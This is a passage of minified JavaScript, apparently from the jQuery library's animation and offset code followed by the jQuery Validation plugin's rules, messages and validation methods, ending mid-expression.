o===\"object\"?c.each(o,function(k,n){d(i+\"[\"+k+\"]\",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+\"=\"+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join(\"&\").replace(yb,\"+\")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\\d+-.]+)(.*)$/,W,va=[[\"height\",\"marginTop\",\"marginBottom\",\"paddingTop\",\"paddingBottom\"],[\"width\",\"marginLeft\",\"marginRight\",\"paddingLeft\",\"paddingRight\"],[\"opacity\"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K(\"show\",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],\"olddisplay\");this[a].style.display=d||\"\";if(c.css(this[a],\"display\")===\"none\"){d=this[a].nodeName;var f;if(la[d])f=la[d];else{var e=c(\"<\"+d+\" />\").appendTo(\"body\");f=e.css(\"display\");if(f===\"none\")f=\"block\";e.remove();la[d]=f}c.data(this[a],\"olddisplay\",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],\"olddisplay\")||\"\";return this}},hide:function(a,b){if(a||a===0)return this.animate(K(\"hide\",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],\"olddisplay\");!d&&d!==\"none\"&&c.data(this[a],\"olddisplay\",c.css(this[a],\"display\"))}a=0;for(b=this.length;a<b;a++)this[a].style.display=\"none\";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a===\"boolean\";if(c.isFunction(a)&&c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(\":hidden\");c(this)[f?\"show\":\"hide\"]()}):this.animate(K(\"toggle\",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(\":hidden\").css(\"opacity\",0).show().end().animate({opacity:b},a,d)},animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?\"each\":\"queue\"](function(){var j=c.extend({},e),i,o=this.nodeType===1&&c(this).is(\":hidden\"),k=this;for(i in a){var n=i.replace(ia,ja);if(i!==n){a[n]=a[i];delete a[i];i=n}if(a[i]===\"hide\"&&o||a[i]===\"show\"&&!o)return j.complete.call(this);if((i===\"height\"||i===\"width\")&&this.style){j.display=c.css(this,\"display\");j.overflow=this.style.overflow}if(c.isArray(a[i])){(j.specialEasing=j.specialEasing||{})[i]=a[i][1];a[i]=a[i][0]}}if(j.overflow!=null)this.style.overflow=\"hidden\";j.curAnim=c.extend({},a);c.each(a,function(r,u){var z=new c.fx(k,j,r);if(Ab.test(u))z[u===\"toggle\"?o?\"show\":\"hide\":u](a);else{var C=Bb.exec(u),B=z.cur(true)||0;if(C){u=parseFloat(C[2]);var E=C[3]||\"px\";if(E!==\"px\"){k.style[r]=(u||1)+E;B=(u||1)/z.cur(true)*B;k.style[r]=B+E}if(C[1])u=(C[1]===\"-=\"?-1:1)*u+B;z.custom(B,u,E)}else z.custom(B,u,\"\")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K(\"show\",1),slideUp:K(\"hide\",1),slideToggle:K(\"toggle\",1),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a===\"object\"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration===\"number\"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop===\"height\"||this.prop===\"width\")&&this.elem.style)this.elem.style.display=\"block\"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||\"px\";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop===\"width\"||this.prop===\"height\"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,\"olddisplay\");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,\"display\")===\"none\")this.elem.style.display=\"block\"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?\"swing\":\"linear\");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,\"opacity\",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!=null)a.elem.style[a.prop]=(a.prop===\"width\"||a.prop===\"height\"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset=\"getBoundingClientRect\"in s.documentElement?function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(),f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=this[0];if(a)return this.each(function(r){c.offset.setOffset(this,a,r)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f=b,e=b.ownerDocument,j,i=e.documentElement,o=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var k=b.offsetTop,n=b.offsetLeft;(b=b.parentNode)&&b!==o&&b!==i;){if(c.offset.supportsFixedPosition&&f.position===\"fixed\")break;j=e?e.getComputedStyle(b,null):b.currentStyle;k-=b.scrollTop;n-=b.scrollLeft;if(b===d){k+=b.offsetTop;n+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){k+=parseFloat(j.borderTopWidth)||0;n+=parseFloat(j.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&j.overflow!==\"visible\"){k+=parseFloat(j.borderTopWidth)||0;n+=parseFloat(j.borderLeftWidth)||0}f=j}if(f.position===\"relative\"||f.position===\"static\"){k+=o.offsetTop;n+=o.offsetLeft}if(c.offset.supportsFixedPosition&&f.position===\"fixed\"){k+=Math.max(i.scrollTop,o.scrollTop);n+=Math.max(i.scrollLeft,o.scrollLeft)}return{top:k,left:n}};c.offset={initialize:function(){var a=s.body,b=s.createElement(\"div\"),d,f,e,j=parseFloat(c.curCSS(a,\"marginTop\",true))||0;c.extend(b.style,{position:\"absolute\",top:0,left:0,margin:0,border:0,width:\"1px\",height:\"1px\",visibility:\"hidden\"});b.innerHTML=\"<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>\";a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position=\"fixed\";f.style.top=\"20px\";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top=\"\";d.style.overflow=\"hidden\";d.style.position=\"relative\";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b);c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,\"marginTop\",true))||0;d+=parseFloat(c.curCSS(a,\"marginLeft\",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,\"position\")))a.style.position=\"relative\";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,\"top\",true),10)||0,i=parseInt(c.curCSS(a,\"left\",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};\"using\"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,\"marginTop\",true))||0;d.left-=parseFloat(c.curCSS(a,\"marginLeft\",true))||0;f.top+=parseFloat(c.curCSS(b[0],\"borderTopWidth\",true))||0;f.left+=parseFloat(c.curCSS(b[0],\"borderLeftWidth\",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,\"position\")===\"static\";)a=a.offsetParent;return a})}});c.each([\"Left\",\"Top\"],function(a,b){var d=\"scroll\"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?\"pageXOffset\"in j?j[a?\"pageYOffset\":\"pageXOffset\"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each([\"Height\",\"Width\"],function(a,b){var d=b.toLowerCase();c.fn[\"inner\"+b]=function(){return this[0]?c.css(this[0],d,false,\"padding\"):null};c.fn[\"outer\"+b]=function(f){return this[0]?c.css(this[0],d,false,f?\"margin\":\"border\"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return\"scrollTo\"in e&&e.document?e.document.compatMode===\"CSS1Compat\"&&e.document.documentElement[\"client\"+b]||e.document.body[\"client\"+b]:e.nodeType===9?Math.max(e.documentElement[\"client\"+b],e.body[\"scroll\"+b],e.documentElement[\"scroll\"+b],e.body[\"offset\"+b],e.documentElement[\"offset\"+b]):f===w?c.css(e,d):this.css(d,typeof f===\"string\"?f:f+\"px\")}});A.jQuery=A.$=c})(window);(function($){$.extend($.fn,{validate:function(options){if(!this.length){options&&options.debug&&window.console&&console.warn(\"nothing selected, can't validate, returning nothing\");return}var validator=$.data(this[0],\"validator\");if(validator){return validator}validator=new $.validator(options,this[0]);$.data(this[0],\"validator\",validator);if(validator.settings.onsubmit){this.find(\"input, button\").filter(\".cancel\").click(function(){validator.cancelSubmit=true});if(validator.settings.submitHandler){this.find(\"input, button\").filter(\":submit\").click(function(){validator.submitButton=this})}this.submit(function(event){if(validator.settings.debug){event.preventDefault()}function handle(){if(validator.settings.submitHandler){if(validator.submitButton){var hidden=$(\"<input type='hidden'/>\").attr(\"name\",validator.submitButton.name).val(validator.submitButton.value).appendTo(validator.currentForm)}validator.settings.submitHandler.call(validator,validator.currentForm);if(validator.submitButton){hidden.remove()}return false}return true}if(validator.cancelSubmit){validator.cancelSubmit=false;return handle()}if(validator.form()){if(validator.pendingRequest){validator.formSubmitted=true;return false}return handle()}else{validator.focusInvalid();return false}})}return validator},valid:function(){if($(this[0]).is(\"form\")){return this.validate().form()}else{var valid=true;var validator=$(this[0].form).validate();this.each(function(){valid&=validator.element(this)});return valid}},removeAttrs:function(attributes){var result={},$element=this;$.each(attributes.split(/\\s/),function(index,value){result[value]=$element.attr(value);$element.removeAttr(value)});return result},rules:function(command,argument){var element=this[0];if(command){var settings=$.data(element.form,\"validator\").settings;var staticRules=settings.rules;var existingRules=$.validator.staticRules(element);switch(command){case\"add\":$.extend(existingRules,$.validator.normalizeRule(argument));staticRules[element.name]=existingRules;if(argument.messages){settings.messages[element.name]=$.extend(settings.messages[element.name],argument.messages)}break;case\"remove\":if(!argument){delete staticRules[element.name];return existingRules}var filtered={};$.each(argument.split(/\\s/),function(index,method){filtered[method]=existingRules[method];delete existingRules[method]});return filtered}}var data=$.validator.normalizeRules($.extend({},$.validator.metadataRules(element),$.validator.classRules(element),$.validator.attributeRules(element),$.validator.staticRules(element)),element);if(data.required){var param=data.required;delete data.required;data=$.extend({required:param},data)}return data}});$.extend($.expr[\":\"],{blank:function(a){return!$.trim(a.value)},filled:function(a){return!!$.trim(a.value)},unchecked:function(a){return!a.checked}});$.validator=function(options,form){this.settings=$.extend({},$.validator.defaults,options);this.currentForm=form;this.init()};$.validator.format=function(source,params){if(arguments.length==1){return function(){var args=$.makeArray(arguments);args.unshift(source);return $.validator.format.apply(this,args)}}if(arguments.length>2&&params.constructor!=Array){params=$.makeArray(arguments).slice(1)}if(params.constructor!=Array){params=[params]}$.each(params,function(i,n){source=source.replace(new RegExp(\"\\\\{\"+i+\"\\\\}\",\"g\"),n)});return source};$.extend($.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:\"error\",validClass:\"valid\",errorElement:\"label\",focusInvalid:true,errorContainer:$([]),errorLabelContainer:$([]),onsubmit:true,ignore:[],ignoreTitle:false,onfocusin:function(element){this.lastActive=element;if(this.settings.focusCleanup&&!this.blockFocusCleanup){this.settings.unhighlight&&this.settings.unhighlight.call(this,element,this.settings.errorClass,this.settings.validClass);this.errorsFor(element).hide()}},onfocusout:function(element){if(!this.checkable(element)&&(element.name in this.submitted||!this.optional(element))){this.element(element)}},onkeyup:function(element){if(element.name in this.submitted||element==this.lastElement){this.element(element)}},onclick:function(element){if(element.name in this.submitted){this.element(element)}},highlight:function(element,errorClass,validClass){$(element).addClass(errorClass).removeClass(validClass)},unhighlight:function(element,errorClass,validClass){$(element).removeClass(errorClass).addClass(validClass)}},setDefaults:function(settings){$.extend($.validator.defaults,settings)},messages:{required:\"This field is required.\",remote:\"Please fix this field.\",email:\"Please enter a valid email address.\",url:\"Please enter a valid URL.\",date:\"Please enter a valid date.\",dateISO:\"Please enter a valid date (ISO).\",dateDE:\"Bitte geben Sie ein gltiges Datum ein.\",number:\"Please enter a valid number.\",numberDE:\"Bitte geben Sie eine Nummer ein.\",digits:\"Please enter only digits\",creditcard:\"Please enter a valid credit card number.\",equalTo:\"Please enter the same value again.\",accept:\"Please enter a value with a valid extension.\",maxlength:$.validator.format(\"Please enter no more than {0} characters.\"),minlength:$.validator.format(\"Please enter at least {0} characters.\"),rangelength:$.validator.format(\"Please enter a value between {0} and {1} characters long.\"),range:$.validator.format(\"Please enter a value between {0} and {1}.\"),max:$.validator.format(\"Please enter a value less than or equal to {0}.\"),min:$.validator.format(\"Please enter a value greater than or equal to {0}.\")},autoCreateRanges:false,prototype:{init:function(){this.labelContainer=$(this.settings.errorLabelContainer);this.errorContext=this.labelContainer.length&&this.labelContainer||$(this.currentForm);this.containers=$(this.settings.errorContainer).add(this.settings.errorLabelContainer);this.submitted={};this.valueCache={};this.pendingRequest=0;this.pending={};this.invalid={};this.reset();var groups=(this.groups={});$.each(this.settings.groups,function(key,value){$.each(value.split(/\\s/),function(index,name){groups[name]=key})});var rules=this.settings.rules;$.each(rules,function(key,value){rules[key]=$.validator.normalizeRule(value)});function delegate(event){var validator=$.data(this[0].form,\"validator\");validator.settings[\"on\"+event.type]&&validator.settings[\"on\"+event.type].call(validator,this[0])}$(this.currentForm).delegate(\"focusin focusout keyup\",\":text, :password, :file, select, textarea\",delegate).delegate(\"click\",\":radio, :checkbox\",delegate);if(this.settings.invalidHandler){$(this.currentForm).bind(\"invalid-form.validate\",this.settings.invalidHandler)}},form:function(){this.checkForm();$.extend(this.submitted,this.errorMap);this.invalid=$.extend({},this.errorMap);if(!this.valid()){$(this.currentForm).triggerHandler(\"invalid-form\",[this])}this.showErrors();return this.valid()},checkForm:function(){this.prepareForm();for(var i=0,elements=(this.currentElements=this.elements());elements[i];i++){this.check(elements[i])}return this.valid()},element:function(element){element=this.clean(element);this.lastElement=element;this.prepareElement(element);this.currentElements=$(element);var result=this.check(element);if(result){delete this.invalid[element.name]}else{this.invalid[element.name]=true}if(!this.numberOfInvalids()){this.toHide=this.toHide.add(this.containers)}this.showErrors();return result},showErrors:function(errors){if(errors){$.extend(this.errorMap,errors);this.errorList=[];for(var name in errors){this.errorList.push({message:errors[name],element:this.findByName(name)[0]})}this.successList=$.grep(this.successList,function(element){return!(element.name in errors)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){if($.fn.resetForm){$(this.currentForm).resetForm()}this.submitted={};this.prepareForm();this.hideErrors();this.elements().removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(obj){var count=0;for(var i in obj){count++}return count},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()==0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid){try{$(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(\":visible\").focus()}catch(e){}}},findLastActive:function(){var lastActive=this.lastActive;return lastActive&&$.grep(this.errorList,function(n){return n.element.name==lastActive.name}).length==1&&lastActive},elements:function(){var validator=this,rulesCache={};return $([]).add(this.currentForm.elements).filter(\":input\").not(\":submit, :reset, :image, [disabled]\").not(this.settings.ignore).filter(function(){!this.name&&validator.settings.debug&&window.console&&console.error(\"%o has no name assigned\",this);if(this.name in rulesCache||!validator.objectLength($(this).rules())){return false}rulesCache[this.name]=true;return true})},clean:function(selector){return $(selector)[0]},errors:function(){return $(this.settings.errorElement+\".\"+this.settings.errorClass,this.errorContext)},reset:function(){this.successList=[];this.errorList=[];this.errorMap={};this.toShow=$([]);this.toHide=$([]);this.formSubmitted=false;this.currentElements=$([])},prepareForm:function(){this.reset();this.toHide=this.errors().add(this.containers)},prepareElement:function(element){this.reset();this.toHide=this.errorsFor(element)},check:function(element){element=this.clean(element);if(this.checkable(element)){element=this.findByName(element.name)[0]}var rules=$(element).rules();var dependencyMismatch=false;for(method in rules){var rule={method:method,parameters:rules[method]};try{var result=$.validator.methods[method].call(this,element.value.replace(/\\r/g,\"\"),element,rule.parameters);if(result==\"dependency-mismatch\"){dependencyMismatch=true;continue}dependencyMismatch=false;if(result==\"pending\"){this.toHide=this.toHide.not(this.errorsFor(element));return}if(!result){this.formatAndAdd(element,rule);return false}}catch(e){this.settings.debug&&window.console&&console.log(\"exception occured when checking element \"+element.id+\", check the '\"+rule.method+\"' method\");throw e}}if(dependencyMismatch){return}if(this.objectLength(rules)){this.successList.push(element)}return true},customMetaMessage:function(element,method){if(!$.metadata){return}var meta=this.settings.meta?$(element).metadata()[this.settings.meta]:$(element).metadata();return meta&&meta.messages&&meta.messages[method]},customMessage:function(name,method){var m=this.settings.messages[name];return m&&(m.constructor==String?m:m[method])},findDefined:function(){for(var i=0;i<arguments.length;i++){if(arguments[i]!==undefined){return arguments[i]}}return undefined},defaultMessage:function(element,method){return this.findDefined(this.customMessage(element.name,method),this.customMetaMessage(element,method),!this.settings.ignoreTitle&&element.title||undefined,$.validator.messages[method],\"<strong>Warning: No message defined for \"+element.name+\"</strong>\")},formatAndAdd:function(element,rule){var message=this.defaultMessage(element,rule.method);if(typeof message==\"function\"){message=message.call(this,rule.parameters,element)}this.errorList.push({message:message,element:element});this.errorMap[element.name]=message;this.submitted[element.name]=message},addWrapper:function(toToggle){if(this.settings.wrapper){toToggle=toToggle.add(toToggle.parent(this.settings.wrapper))}return toToggle},defaultShowErrors:function(){for(var i=0;this.errorList[i];i++){var error=this.errorList[i];this.settings.highlight&&this.settings.highlight.call(this,error.element,this.settings.errorClass,this.settings.validClass);this.showLabel(error.element,error.message)}if(this.errorList.length){this.toShow=this.toShow.add(this.containers)}if(this.settings.success){for(var i=0;this.successList[i];i++){this.showLabel(this.successList[i])}}if(this.settings.unhighlight){for(var i=0,elements=this.validElements();elements[i];i++){this.settings.unhighlight.call(this,elements[i],this.settings.errorClass,this.settings.validClass)}}this.toHide=this.toHide.not(this.toShow);this.hideErrors();this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return $(this.errorList).map(function(){return this.element})},showLabel:function(element,message){var label=this.errorsFor(element);if(label.length){label.removeClass().addClass(this.settings.errorClass);label.attr(\"generated\")&&label.html(message)}else{label=$(\"<\"+this.settings.errorElement+\"/>\").attr({\"for\":this.idOrName(element),generated:true}).addClass(this.settings.errorClass).html(message||\"\");if(this.settings.wrapper){label=label.hide().show().wrap(\"<\"+this.settings.wrapper+\"/>\").parent()}if(!this.labelContainer.append(label).length){this.settings.errorPlacement?this.settings.errorPlacement(label,$(element)):label.insertAfter(element)}}if(!message&&this.settings.success){label.text(\"\");typeof this.settings.success==\"string\"?label.addClass(this.settings.success):this.settings.success(label)}this.toShow=this.toShow.add(label)},errorsFor:function(element){return this.errors().filter(\"[for='\"+this.idOrName(element)+\"']\")},idOrName:function(element){return this.groups[element.name]||(this.checkable(element)?element.name:element.id||element.name)},checkable:function(element){return/radio|checkbox/i.test(element.type)},findByName:function(name){var form=this.currentForm;return $(document.getElementsByName(name)).map(function(index,element){return element.form==form&&element.name==name&&element||null})},getLength:function(value,element){switch(element.nodeName.toLowerCase()){case\"select\":return $(\"option:selected\",element).length;case\"input\":if(this.checkable(element)){return this.findByName(element.name).filter(\":checked\").length}}return value.length},depend:function(param,element){return this.dependTypes[typeof param]?this.dependTypes[typeof param](param,element):true},dependTypes:{\"boolean\":function(param,element){return param},string:function(param,element){return!!$(param,element.form).length},\"function\":function(param,element){return param(element)}},optional:function(element){return!$.validator.methods.required.call(this,$.trim(element.value),element)&&\"dependency-mismatch\"},startRequest:function(element){if(!this.pending[element.name]){this.pendingRequest++;this.pending[element.name]=true}},stopRequest:function(element,valid){this.pendingRequest--;if(this.pendingRequest<0){this.pendingRequest=0}delete this.pending[element.name];if(valid&&this.pendingRequest==0&&this.formSubmitted&&this.form()){$(this.currentForm).submit()}else{if(!valid&&this.pendingRequest==0&&this.formSubmitted){$(this.currentForm).triggerHandler(\"invalid-form\",[this])}}},previousValue:function(element){return $.data(element,\"previousValue\")||$.data(element,\"previousValue\",previous={old:null,valid:true,message:this.defaultMessage(element,\"remote\")})}},classRuleSettings:{required:{required:true},email:{email:true},url:{url:true},date:{date:true},dateISO:{dateISO:true},dateDE:{dateDE:true},number:{number:true},numberDE:{numberDE:true},digits:{digits:true},creditcard:{creditcard:true}},addClassRules:function(className,rules){className.constructor==String?this.classRuleSettings[className]=rules:$.extend(this.classRuleSettings,className)},classRules:function(element){var rules={};var classes=$(element).attr(\"class\");classes&&$.each(classes.split(\" \"),function(){if(this in $.validator.classRuleSettings){$.extend(rules,$.validator.classRuleSettings[this])}});return rules},attributeRules:function(element){var rules={};var $element=$(element);for(method in $.validator.methods){var value=$element.attr(method);if(value){rules[method]=value}}if(rules.maxlength&&/-1|2147483647|524288/.test(rules.maxlength)){delete rules.maxlength}return rules},metadataRules:function(element){if(!$.metadata){return{}}var meta=$.data(element.form,\"validator\").settings.meta;return meta?$(element).metadata()[meta]:$(element).metadata()},staticRules:function(element){var rules={};var validator=$.data(element.form,\"validator\");if(validator.settings.rules){rules=$.validator.normalizeRule(validator.settings.rules[element.name])||{}}return rules},normalizeRules:function(rules,element){$.each(rules,function(prop,val){if(val===false){delete rules[prop];return}if(val.param||val.depends){var keepRule=true;switch(typeof val.depends){case\"string\":keepRule=!!$(val.depends,element.form).length;break;case\"function\":keepRule=val.depends.call(element,element);break}if(keepRule){rules[prop]=val.param!==undefined?val.param:true}else{delete rules[prop]}}});$.each(rules,function(rule,parameter){rules[rule]=$.isFunction(parameter)?parameter(element):parameter});$.each([\"minlength\",\"maxlength\",\"min\",\"max\"],function(){if(rules[this]){rules[this]=Number(rules[this])}});$.each([\"rangelength\",\"range\"],function(){if(rules[this]){rules[this]=[Number(rules[this][0]),Number(rules[this][1])]}});if($.validator.autoCreateRanges){if(rules.min&&rules.max){rules.range=[rules.min,rules.max];delete rules.min;delete rules.max}if(rules.minlength&&rules.maxlength){rules.rangelength=[rules.minlength,rules.maxlength];delete rules.minlength;delete rules.maxlength}}if(rules.messages){delete rules.messages}return rules},normalizeRule:function(data){if(typeof data==\"string\"){var transformed={};$.each(data.split(/\\s/),function(){transformed[this]=true});data=transformed}return data},addMethod:function(name,method,message){$.validator.methods[name]=method;$.validator.messages[name]=message||$.validator.messages[name];if(method.length<3){$.validator.addClassRules(name,$.validator.normalizeRule(name))}},methods:{required:function(value,element,param){if(!this.depend(param,element)){return\"dependency-mismatch\"}switch(element.nodeName.toLowerCase()){case\"select\":var options=$(\"option:selected\",element);return options.length>0&&(element.type==\"select-multiple\"||($.browser.msie&&!(options[0].attributes.value.specified)?options[0].text:options[0].value).length>0);case\"input\":if(this.checkable(element)){return this.getLength(value,element)>0}default:return $.trim(value).length>0}},remote:function(value,element,param){if(this.optional(element)){return\"dependency-mismatch\"}var previous=this.previousValue(element);if(!this.settings.messages[element.name]){this.settings.messages[element.name]={}}this.settings.messages[element.name].remote=typeof previous.message==\"function\"?previous.message(value):previous.message;param=typeof param==\"string\"&&{url:param}||param;if(previous.old!==value){previous.old=value;var validator=this;this.startRequest(element);var data={};data[element.name]=value;$.ajax($.extend(true,{url:param,mode:\"abort\",port:\"validate\"+element.name,dataType:\"json\",data:data,success:function(response){var valid=response===true;if(valid){var submitted=validator.formSubmitted;validator.prepareElement(element);validator.formSubmitted=submitted;validator.successList.push(element);validator.showErrors()}else{var errors={};errors[element.name]=previous.message=response||validator.defaultMessage(element,\"remote\");validator.showErrors(errors)}previous.valid=valid;validator.stopRequest(element,valid)}},param));return\"pending\"}else{if(this.pending[element.name]){return\"pending\"}}return previous.valid},minlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)>=param},maxlength:function(value,element,param){return this.optional(element)||this.getLength($.trim(value),element)<=param},rangelength:function(value,element,param){var length=this.getLength($.trim(value),element);return this.optional(element)||(length>=param[0]&&length<=param[1])},min:function(value,element,param){return this.optional(element)||value>=param},max:function(value,element,param){return this.optional(element)||value<=param},range:function(value,element,param){return this.optional(element)||(value>=param[0]&&value<=param[1])},email:function(value,element){return 